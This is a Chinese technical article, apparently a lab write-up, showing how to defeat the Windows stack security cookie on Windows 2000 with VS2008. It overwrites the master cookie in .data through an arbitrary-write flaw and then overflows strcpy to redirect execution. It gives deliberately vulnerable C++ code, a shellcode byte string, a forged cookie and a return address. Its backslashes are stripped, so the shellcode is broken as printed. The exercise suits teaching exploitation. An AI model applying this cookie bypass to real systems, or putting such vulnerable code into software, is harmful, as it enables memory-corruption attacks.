首頁 > 軟體

C++替換棧中和.data中的cookie實現步驟詳解

2022-10-20 14:03:08

一、實驗環境

作業系統:Windows 2000 professional

軟體版本:原版OD(實時偵錯)、VS2008(release)

二、實驗程式碼

#include <stdafx.h>
#include <string.h>
#include <stdlib.h>
/*
char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";
*/
char shellcode[]=
"x90x90x90x90"//new value of cookie in .data
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"xF4x6Fx82x90"//result of x90x90x90x90 xor EBP
"x90x90x90x90"
"x94xFEx12x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
	char dest[200];
	if(i<0x9995)
	{
		char * buf=str+i;
		*buf=*src;
		*(buf+1)=*(src+1);
		*(buf+2)=*(src+2);
		*(buf+3)=*(src+3);
	    strcpy(dest,src);
	}
}
void main()
{
	__asm int 3
	char * str=(char *)malloc(0x10000);
	test(str,0xFFFF2FB8,shellcode);	
}

程式碼分析:

(1)test函數會修改s+i到s+i+3(記憶體地址)中儲存的資料;

(2)test函數中strcpy存在典型的溢位漏洞。

三、實驗步驟

1、security cookie機制

直接執行到if語句處;

產生:程式將0x403000處儲存的值,賦給EAX,將EAX與EBP互斥或,互斥或結果(security cookie)儲存在EAX中,然後將EAX中的值(也就是security cookie)儲存在EBP-4處。

驗證:程式從EBP-4處取出值,然後與EBP互斥或,最後將互斥或結果與0x00403000處的Cookie進行比較,如果二者一致則校驗通過,否則轉入校驗失敗哦的例外處理。

同時可以看到security cookie存放在0x12FF60處。

現在的重點是:

  • 將.data中儲存的原cookie改為x90x90x90x90;
  • 用x90x90x90x90與EBP的值進行互斥或,並替換security cookie;
  • 將test函數的返回地址改為shellcode的起始地址,帶程式返回時,即可執行shellcode.

2、獲取堆區起始地址

偵錯程式碼:

#include <stdafx.h>
#include <string.h>
#include <stdlib.h>
char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";
void test(char * str, int i, char * src)
{
	char dest[200];
	if(i<0x9995)
	{
		char * buf=str+i;
		*buf=*src;
		*(buf+1)=*(src+1);
		*(buf+2)=*(src+2);
		*(buf+3)=*(src+3);
	    strcpy(dest,src);
	}
}
void main()
{
	__asm int 3
	char * str=(char *)malloc(0x10000);
	test(str,0xFFFF2FB8,shellcode);	
}

編譯,執行完malloc函數:

可見malloc獲取的堆區的起始地址為0x410048。

如何判斷堆區在哪兒呢?

  • 單步跳過call語句,有些暫存器的值會變紅,說明執行完這一函數後,暫存器中的值改變了,實在不會,就將資料視窗依次跳到相應位置。
  • 需要多0x178這一偏移地址警惕,因為0x178在堆分配的時候,是空表索引freelist[0]的記憶體地址;因為堆初始化的時候,只有一個尾塊鏈在freelist[0]處的,且初次分配的時候是從尾塊前面“切”的,所以此處會出現0x390178.

故,可以斷定,0x410048為申請的空間的起始地址,也就是str的值。

3、修改.data中的原始cookie

檢視.data在記憶體中的起始地址;

可見.data在記憶體中的起始地址為0x403000。

0x403000屬於低地址,0x410048屬於高地址,因為i並沒有規定上限,因此只需將i設定為0xFFFF2FB8即可讓str指向0x403000。

可見,.data中的原cookie已經被覆蓋。

4、檢視棧區dest的起始地址

可以在OD中看到粗線部分,起始就是strcpy函數。可見起始地址為0x12FE94.

5、構造shellcode

計算security cookie時的EBP為0x12FF64,.data存放的原cookie改為x90x90x90x90,偽造的security cookie就是0x90826FF4.

security cookie應存放在0x12FF60,dest的起始地址為0x12FE94,所以shellcode可以這樣構造:

將構造好的shellcode複製到程式中,執行:

strcpy之後,可見security cookie和test函數的返回地址都被覆蓋了!

F9執行:

到此這篇關於C++替換棧中和.data中的cookie實現步驟詳解的文章就介紹到這了,更多相關C++替換棧中和.data中的cookie內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com